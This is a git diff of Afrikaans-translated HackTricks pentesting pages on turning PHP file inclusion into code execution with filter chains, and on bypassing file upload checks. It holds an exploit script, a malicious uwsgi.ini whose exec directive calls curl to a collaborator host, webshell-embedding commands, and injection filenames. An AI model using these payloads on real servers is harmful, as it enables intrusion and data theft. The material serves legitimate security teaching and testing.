@@ -671,6 +673,7 @@ _Selfs as jy 'n PHP Fatal Error veroorsaak, word PHP temporêre lêers wat opgel - [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) - [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/) - [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#file}} EN-Local-File-Inclusion-1.pdf diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md index 8553b7ca5..b3692e9af 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md @@ -2,38 +2,39 @@ {{#include ../../banners/hacktricks-training.md}} -## Intro -Hierdie [**skrywe**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters kan gebruik om arbitrêre inhoud** as uitvoer te genereer. Dit beteken basies dat jy **arbitrêre php kode** kan genereer vir die insluiting **sonder om dit** in 'n lêer te skryf. +## Inleiding -Basies is die doel van die skrif om 'n **Base64** string aan die **begin** van die lêer te genereer wat uiteindelik **gedecodeer** sal word om die gewenste payload te verskaf wat deur `include` **geïterpreteer** sal word. +Hierdie [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters kan gebruik om arbitrêre inhoud te genereer** as uitgang. Dit beteken basies dat jy **arbitrêre php code kan genereer** vir die `include` **sonder om dit in 'n lêer te skryf**. -Die basisse om dit te doen is: +Die doel van die skrip is om 'n **Base64** string aan die **begin** van die lêer te genereer wat uiteindelik **gedekodeer** sal word en die gewenste payload voorsien wat deur `include` **geinterpreteer** sal word. -- `convert.iconv.UTF8.CSISO2022KR` sal altyd `\x1b$)C` aan die string voorafgaan -- `convert.base64-decode` is uiters verdraagsaam, dit sal basies net enige karakters wat nie geldige base64 is, ignoreer. Dit gee 'n paar probleme as dit onverwagte "=" vind, maar dit kan verwyder word met die `convert.iconv.UTF8.UTF7` filter. +Die beginsels om dit te doen is: + +- `convert.iconv.UTF8.CSISO2022KR` sal altyd `\x1b$)C` vooraan by die string voeg +- `convert.base64-decode` is uiters tolerant; dit sal basies alle karakters ignoreer wat nie geldige Base64 is nie. Dit gee probleme as dit onverwagte "=" vind, maar daardie kan verwyder word met die `convert.iconv.UTF8.UTF7` filter. Die lus om arbitrêre inhoud te genereer is: -1. voeg `\x1b$)C` aan ons string vooraf soos hierbo beskryf -2. pas 'n ketting van iconv omskakelings toe wat ons aanvanklike base64 intak laat en die deel wat ons net voorafgevoeg het, omskakel na 'n string waar die enigste geldige base64 karakter die volgende deel van ons base64-gecodeerde php kode is -3. base64-decode en base64-encode die string wat enige rommel tussenin sal verwyder -4. Gaan terug na 1 as die base64 wat ons wil konstrueer nog nie klaar is nie -5. base64-decode om ons php kode te kry +1. voeg `\x1b$)C` vooraan by ons string soos hierbo beskryf +2. pas 'n ketting van iconv-omsettings toe wat ons aanvanklike Base64 onaangeraak laat en die deel wat ons net voorafgevoeg het omskakel na 'n string waar die enigste geldige Base64-karakter die volgende deel van ons Base64-geënkodeerde php code is +3. Base64-dekodeer en Base64-enkodeer die string wat enige gemors tussenin sal verwyder +4. gaan terug na 1 as die Base64 wat ons wil konstrueer nog nie klaar is nie +5. Base64-dekodeer om ons php code te kry > [!WARNING] -> **Insluitings** doen gewoonlik dinge soos **om ".php" aan die einde** van die lêer toe te voeg, wat die uitbuiting hiervan moeilik kan maak omdat jy 'n .php lêer met 'n inhoud moet vind wat nie die uitbuiting doodmaak nie... of jy **kan net `php://temp` as hulpbron gebruik** omdat dit **enigiets in die naam kan hê** (soos +".php") en dit sal steeds die uitbuiting laat werk! +> **Includes** doen gewoonlik dinge soos **om ".php" aan die einde by te voeg** van die lêer, wat die uitbuiting moeilik kan maak omdat jy 'n .php-lêer met 'n inhoud sou moet vind wat die exploit nie laat werk nie... of jy **kan net `php://temp` as resource gebruik** omdat dit **alles aan die naam aangeheg kan hê** (lie +".php") en dit sal steeds toelaat dat die exploit werk! -## Hoe om ook agtervoegsels by die resultaatdata te voeg +## Hoe om ook agtervoegsels by die resulterende data te voeg -[**Hierdie skrywe verduidelik**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) hoe jy steeds PHP filters kan misbruik om agtervoegsels by die resultaatstring te voeg. Dit is wonderlik in die geval waar jy die uitvoer in 'n spesifieke formaat moet hê (soos json of dalk om 'n paar PNG magiese bytes by te voeg) +[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) hoe jy steeds PHP filters kan misbruik om agtervoegsels by die resulterende string te voeg. Dit is handig as jy die output 'n spesifieke formaat nodig het (soos json of dalk om PNG magic bytes by te voeg) ## Outomatiese Gereedskap - [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) - [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(kan agtervoegsels byvoeg)** -## Volledige skrif +## Volledige skrip ```python import requests @@ -95,7 +96,7 @@ print(r.text) ``` ### Verbeterings -Die vorige skrip is beperk tot die base64 karakters wat nodig is vir daardie payload. Daarom het ek my eie skrip geskep om **bruteforce al die base64 karakters**: +Die vorige script is beperk tot die base64-karakters wat vir daardie payload nodig is. Daarom het ek my eie script geskep om **bruteforce** te doen op al die base64-karakters: ```php conversions = { '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', @@ -164,7 +165,7 @@ conversions = { '=': '' } ``` -Hier is die **script** om kodering te verkry wat elke b64 letter genereer: +Hier is die **script** om enkoderinge te kry wat elke b64-letter genereer: ```php AAA.php +7. Gebruik **NTFS alternate data stream (ADS)** in **Windows**. In hierdie geval sal 'n kolonteken ":" ingevoeg word na 'n verbode uitbreiding en voor 'n toegelate uitbreiding. Gevolglik sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. "file.asax:.jpg”). Hierdie lêer kan later gewysig word met ander tegnieke soos die gebruik van sy kort lêernaam. Die "**::$data**” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan die byvoeging van 'n puntkarakter na hierdie patroon ook nuttig wees om verdere beperkings te omseil (.bv. "file.asp::$data.”) +8. Probeer om die lêernaamlimiete te breek. Die geldige uitbreiding word afgekap en die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php ``` -# Linux maksimum 255 bytes +# Linux maximum 255 bytes /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier en voeg .png by -# Laai die lêer op en kontroleer die antwoord hoeveel karakters dit toelaat. Laat ons sê 236 +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png +# Upload the file and check response how many characters it alllows. Let's say 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -# Maak die payload +# Make the payload AAA<--SNIP 232 A-->AAA.php.png ``` -### Bypass Content-Type, Magic Number, Compression & Resizing +### Oorkom Content-Type, Magic Number, Kompressie & Hergroot -- Bypass **Content-Type** kontroles deur die **waarde** van die **Content-Type** **header** in te stel op: _image/png_ , _text/plain , application/octet-stream_ +- Omskakel Content-Type kontroles deur die **waarde** van die **Content-Type** **header** te stel na: _image/png_ , _text/plain , application/octet-stream_ 1. Content-Type **woordlys**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Bypass **magic number** kontrole deur aan die begin van die lêer die **bytes van 'n werklike beeld** toe te voeg (verwar die _file_ opdrag). Of stel die shell in die **metadata** in:\ +- Omskakel **magic number** kontroles deur aan die begin van die lêer die **bytes van 'n regte beeld** by te voeg (verwarring van die _file_ command). Of plaas die shell binne die **metadata**:\ `exiftool -Comment="' >> img.png` -- As **kompressie by jou beeld gevoeg word**, byvoorbeeld deur sommige standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**. -- [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- Die webblad kan ook die **beeld** **hergroott**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**. -- [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- 'n Ander tegniek om 'n payload te maak wat **'n beeld hergroting oorleef**, deur die PHP-GD funksie `thumbnailImage`. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**. -- [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) +- As **kompressie op jou beeld toegepas word**, byvoorbeeld deur standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie oorleef**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) +- Die webblad kan ook die **beeld hergroot**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie oorleef**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) +- 'n Ander tegniek om 'n payload te maak wat **'n beeld-herstegrooting oorleef**, gebruik die PHP-GD funksie `thumbnailImage`. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie oorleef**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### Other Tricks to check +### Ander truuks om te kontroleer -- Vind 'n kwesbaarheid om die lêer wat reeds opgelaai is te **hernoem** (om die uitbreiding te verander). -- Vind 'n **Local File Inclusion** kwesbaarheid om die backdoor uit te voer. -- **Mogelijke Inligting openbaar**: -1. Laai **verskeie kere** (en op die **selfde tyd**) die **dieselfde lêer** met die **dieselfde naam** op -2. Laai 'n lêer op met die **naam** van 'n **lêer** of **map** wat **reeds bestaan** -3. Laai 'n lêer op met **“.”, “..”, of “…” as sy naam**. Byvoorbeeld, in Apache in **Windows**, as die toepassing die opgelaaide lêers in die “/www/uploads/” gids stoor, sal die “.” lêernaam 'n lêer genaamd “uploads” in die “/www/” gids skep. -4. Laai 'n lêer op wat dalk nie maklik verwyder kan word nie, soos **“…:.jpg”** in **NTFS**. (Windows) -5. Laai 'n lêer in **Windows** op met **ongeldige karakters** soos `|<>*?”` in sy naam. (Windows) -6. Laai 'n lêer in **Windows** op met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9. -- Probeer ook om 'n **uitvoerbare lêer** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur die slagoffer geopen word. +- Vind 'n kwetsbaarheid om die reeds opgelaaide lêer te **hernoem** (om die uitbreiding te verander). +- Vind 'n **Local File Inclusion** kwetsbaarheid om die backdoor uit te voer. +- **Moontlike inligtingsvrystelling**: +1. Laai **verskeie kere** (en op **dieselfde tyd**) dieselfde lêer met dieselfde naam op +2. Laai 'n lêer op met die **naam** van 'n **lêer** of **gids** wat reeds bestaan +3. Oplaai 'n lêer met **"." , ".." , of "…" as sy naam. Byvoorbeeld, in Apache op **Windows**, as die toepassing die opgelaaide lêers in "/www/uploads/" stoor, sal die "." lêernaam 'n lêer genaamd "uploads" in die "/www/" gids skep. +4. Laai 'n lêer op wat nie maklik uitgevee kan word nie soos **"…:.jpg”** op **NTFS**. (Windows) +5. Laai 'n lêer op in **Windows** met **ongeldige karakters** soos `|<>*?”` in die naam. (Windows) +6. Laai 'n lêer op in **Windows** met **gereserveerde** (verbode) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. +- Probeer ook om 'n **uitvoerbare** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur 'n slagoffer geopen word. -### Special extension tricks +### Spesiale ekstensie-truuks -As jy probeer om lêers na 'n **PHP bediener** op te laai, [kyk na die **.htaccess** truuk om kode uit te voer](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -As jy probeer om lêers na 'n **ASP bediener** op te laai, [kyk na die **.config** truuk om kode uit te voer](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +As jy probeer om lêers na 'n **PHP server** op te laai, [kyk na die **.htaccess** truuk om kode uit te voer](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +As jy probeer om lêers na 'n **ASP server** op te laai, [kyk na die **.config** truuk om kode uit te voer](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **gebruik word soos 'n php lêer** (dit met php uitvoer, of dit binne 'n skrip insluit...) +Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **gebruik word soos 'n php-lêer** (uitvoer dit met php, of inclui dit binne 'n script...) -Die `.inc` uitbreiding word soms gebruik vir php lêers wat net gebruik word om **lêers in te voer**, so, op 'n stadium, kon iemand **hierdie uitbreiding toegelaat het om uitgevoer te word**. +Die `.inc` uitbreiding word soms gebruik vir php-lêers wat net bedoel is om **invoer te importeer**, so, op 'n tydstip, kan iemand hierdie uitbreiding toegelaat het om **uitgevoer te word**. ## **Jetty RCE** -As jy 'n XML-lêer in 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **nuwe \*.xml en \*.war outomaties verwerk word**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos genoem in die volgende beeld, laai die XML-lêer op na `$JETTY_BASE/webapps/` en verwag die shell! +As jy 'n XML-lêer in 'n Jetty server kan oplaai, kan jy [RCE bekom omdat **nuwe \*.xml en \*.war outomaties verwerk word**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, soos in die volgende prent getoon, laai die XML-lêer op na `$JETTY_BASE/webapps/` en verwag die shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Remote Command Execution (RCE) kwesbaarhede kan in uWSGI bedieners benut word as 'n mens die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers maak gebruik van 'n spesifieke sintaksis om "magiese" veranderlikes, plekhouers en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie funksie kan gemanipuleer word vir slegte doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n `.ini` konfigurasielêer verwerk word. +Remote Command Execution (RCE) kwesbaarhede kan in uWSGI servers uitgebuit word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers gebruik 'n spesifieke sintaksis om "magic" veranderlikes, plaashouers en operateurs in te sluit. Die '@' operateur, gebruik as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Van die verskeie ondersteunende skemas in uWSGI is die "exec" skema besonder kragtig, aangesien dit die lees van data vanaf 'n proses se standaarduitset toelaat. Hierdie funksie kan gemanipuleer word vir kwaadwillige doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n `.ini` konfigurasielêer verwerk word. -Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lêer, wat verskeie skemas toon: +Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lêer, wat verskeie skemas demonstreer: ```ini [uwsgi] ; read from a symbol @@ -126,14 +126,15 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -Die uitvoering van die payload vind plaas tydens die ontleding van die konfigurasie-lêer. Vir die konfigurasie om geaktiveer en ontleed te word, moet die uWSGI-proses of herbegin word (potensieel na 'n ongeluk of as gevolg van 'n Denial of Service-aanval) of die lêer moet op outo-herlaai gestel word. Die outo-herlaai-funksie, indien geaktiveer, herlaai die lêer op gespesifiseerde tydperke wanneer veranderinge opgespoor word. +Die uitvoering van die payload gebeur tydens die ontleding van die konfigurasielêer. Vir die konfigurasie om geaktiveer en ontleed te word, moet die uWSGI-proses óf herbegin word (moontlik ná 'n crash of as gevolg van 'n Denial of Service attack) óf die lêer moet op auto-reload gestel wees. Die auto-reload-funksie, indien geaktiveer, herlaai die lêer op gespesifiseerde intervalle wanneer veranderinge opgespoor word. -Dit is van kardinale belang om die los aard van uWSGI se konfigurasie-lêerontleding te verstaan. Spesifiek kan die bespreekte payload in 'n binêre lêer (soos 'n beeld of PDF) ingevoeg word, wat die omvang van potensiële uitbuiting verder verbreed. +Dit is noodsaaklik om die los aard van uWSGI se konfigurasielêer-ontleding te verstaan. Spesifiek kan die genoemde payload in 'n binaire lêer (soos 'n beeld of PDF) ingesit word, wat die omvang van moontlike exploitation verder vergroot. -## **wget Lêer Laai/SSRF Trick** +## **wget Lêeroplaai/SSRF Truuk** -In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **lêers** te **af te laai** en jy kan die **URL** **aangee**. In hierdie gevalle mag die kode nagaan of die uitbreiding van die afgelaaide lêers binne 'n witlys is om te verseker dat slegs toegelate lêers afgelaai gaan word. egter, **hierdie kontrole kan omseil word.**\ -Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, egter, **wget** sny die lêernames tot **236** karakters. Jy kan 'n lêer met die naam "A"\*232+".php"+".gif" **aflaai**, hierdie lêernaam sal die **kontrole** **omseil** (soos in hierdie voorbeeld is **".gif"** 'n **geldige** uitbreiding) maar `wget` sal die lêer hernoem na **"A"\*232+".php"**. +In sommige gevalle sal jy vind dat 'n server **`wget`** gebruik om **lêers af te laai** en jy kan die **URL** aandui. In sulke gevalle mag die kode kontroleer dat die ekstensie van die afgelaaide lêers op 'n whitelist is om te verseker dat slegs toegelate lêers afgelaai sal word. Daarteenoor, **hierdie check kan bypassed word.**\ + +Die **maksimum** lengte van 'n **filename** in **linux** is **255**, egter **wget** verkort die filename tot **236** karakters. Jy kan **download a file called "A"\*232+".php"+".gif"**, hierdie lêernaam sal die **bypass** van die **check** omseil (soos in hierdie voorbeeld **".gif"** 'n **valid** ekstensie is), maar `wget` sal die lêer **rename** na **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -156,82 +157,87 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Let wel dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil, is om die **HTTP bediener te laat herlei na 'n ander lêer**, sodat die aanvanklike URL die kontrole sal omseil en dan wget die herleide lêer met die nuwe naam sal aflaai. Dit **sal nie werk nie** **tenzij** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herleide bladsy met die naam van die lêer wat in die oorspronklike URL aangedui is, sal aflaai**. +Let daarop dat **nog ’n opsie** waaraan jy dalk dink om hierdie kontrole te omseil, is om die **HTTP-server te laat herlei na ’n ander lêer**, sodat die aanvanklike URL die kontrole omseil en wget dan die herlei‑lêer met die nuwe naam sal aflaai. Dit **sal nie werk nie** **tensy** wget met die **parameter** `--trust-server-names` gebruik word, omdat **wget die herlei bladsy met die naam van die lêer soos in die oorspronklike URL aangedui, sal aflaai**. ## Gereedskap -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is 'n kragtige hulpmiddel wat ontwerp is om Pentesters en Bug Hunters te help om lêeroplaadmeganismes te toets. Dit benut verskeie bug bounty tegnieke om die proses van die identifisering en benutting van kwesbaarhede te vereenvoudig, wat deeglike assesserings van webtoepassings verseker. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is ’n kragtige tool ontwerp om Pentesters en Bug Hunters te help om file upload meganismes te toets. Dit maak gebruik van verskeie bug bounty tegnieke om die proses van die identifisering en eksploitering van kwetsbaarhede te vereenvoudig, wat sorg vir deeglike assesserings van web applications. -## Van lêeroplaad na ander kwesbaarhede +### Corrupting upload indices with snprintf quirks (historical) -- Stel **lêernaam** in op `../../../tmp/lol.png` en probeer om 'n **pad traversie** te bereik. -- Stel **lêernaam** in op `sleep(10)-- -.jpg` en jy mag in staat wees om 'n **SQL-inspuiting** te bereik. -- Stel **lêernaam** in op `` om 'n XSS te bereik. -- Stel **lêernaam** in op `; sleep 10;` om 'n paar opdraginspuitings te toets (meer [opdraginspuitings truuks hier](../command-injection.md)). -- [**XSS** in beeld (svg) lêeroplaad](../xss-cross-site-scripting/index.html#xss-uploading-files-svg). -- **JS** lêer **oplaad** + **XSS** = [**Service Workers** benutting](../xss-cross-site-scripting/index.html#xss-abusing-service-workers). -- [**XXE in svg oplaad**](../xxe-xee-xml-external-entity.md#svg-file-upload). -- [**Open Redirect** deur die oplaad van svg lêer](../open-redirect.md#open-redirect-uploading-svg-files). -- Probeer **verskillende svg payloads** van [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet). -- [Beroemde **ImageTrick** kwesbaarheid](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/). -- As jy kan **aandui dat die webbediener 'n beeld van 'n URL moet vang**, kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/index.html) te misbruik. As hierdie **beeld** in 'n **publieke** webwerf gaan **gestoor** word, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en **inligting van elke besoeker steel**. -- [**XXE en CORS** omseiling met PDF-Adobe oplaad](pdf-upload-xxe-and-cors-bypass.md). -- Spesiaal saamgestelde PDF's vir XSS: Die [volgende bladsy toon hoe om **PDF-data in te spuit om JS-uitvoering te verkry**](../xss-cross-site-scripting/pdf-injection.md). As jy PDF's kan oplaai, kan jy 'n paar PDF's voorberei wat arbitrêre JS sal uitvoer volgens die gegewe aanwysings. -- Laai die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud op om te kyk of die bediener enige **antivirus** het. -- Kyk of daar enige **groottegrens** is wanneer lêers opgelaai word. +Sommige legacy upload handlers wat `snprintf()` of soortgelyke funksies gebruik om multi-file arrays uit ’n single-file upload te bou, kan mislei word om die `_FILES` struktuur te vervals. As gevolg van inkonsekwenthede en afkapping in `snprintf()` gedrag, kan ’n sorgvuldig saamgestelde enkele upload op die bediener‑kant as meerdere geïndekseerde files verskyn, wat logika in die war bring wat ’n streng vorm aanvaar (bv. dit as ’n multi-file upload behandel en onveilige takke volg). Alhoewel dit vandag nismatig is, kom hierdie “index corruption” patroon soms weer voor in CTFs en ouer codebases. -Hier is 'n top 10 lys van dinge wat jy kan bereik deur op te laai (van [hier](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +## From File upload to other vulnerabilities + +- Stel **filename** op `../../../tmp/lol.png` en probeer om ’n **path traversal** te bereik +- Stel **filename** op `sleep(10)-- -.jpg` en jy mag ’n **SQL injection** kan bereik +- Stel **filename** op `` om ’n XSS te bewerkstellig +- Stel **filename** op `; sleep 10;` om sekere command injection te toets (meer [command injections tricks here](../command-injection.md)) +- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) +- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) +- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) +- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) +- Probeer **verskillende svg payloads** vanaf [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) +- As jy die web server kan aandui om ’n image vanaf ’n URL te haal, kan jy probeer om ’n [SSRF](../ssrf-server-side-request-forgery/index.html) te misbruik. As hierdie **image** in ’n **public** site gestoor gaan word, kan jy ook ’n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en inligting van elke besoeker **steel**. +- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) +- Spesiaal saamgestelde PDFs vir XSS: Die [volgende bladsy verduidelik hoe om **PDF data in te spuit om JS‑uitvoering te verkry**](../xss-cross-site-scripting/pdf-injection.md). As jy PDFs kan upload, kan jy ’n PDF voorberei wat arbitraire JS uitvoer volgens die gegewe aanwysings. +- Upload die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud om te kyk of die server enige **antivirus** het +- Kyk of daar enige **size limit** is wanneer jy files upload + +Hier is ’n top 10‑lys van dinge wat jy deur uploading kan bereik (van [hier](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE -2. **SVG**: Gestoor XSS / SSRF / XXE -3. **GIF**: Gestoor XSS / SSRF -4. **CSV**: CSV inspuiting +2. **SVG**: Stored XSS / SSRF / XXE +3. **GIF**: Stored XSS / SSRF +4. **CSV**: CSV injection 5. **XML**: XXE 6. **AVI**: LFI / SSRF -7. **HTML / JS** : HTML inspuiting / XSS / 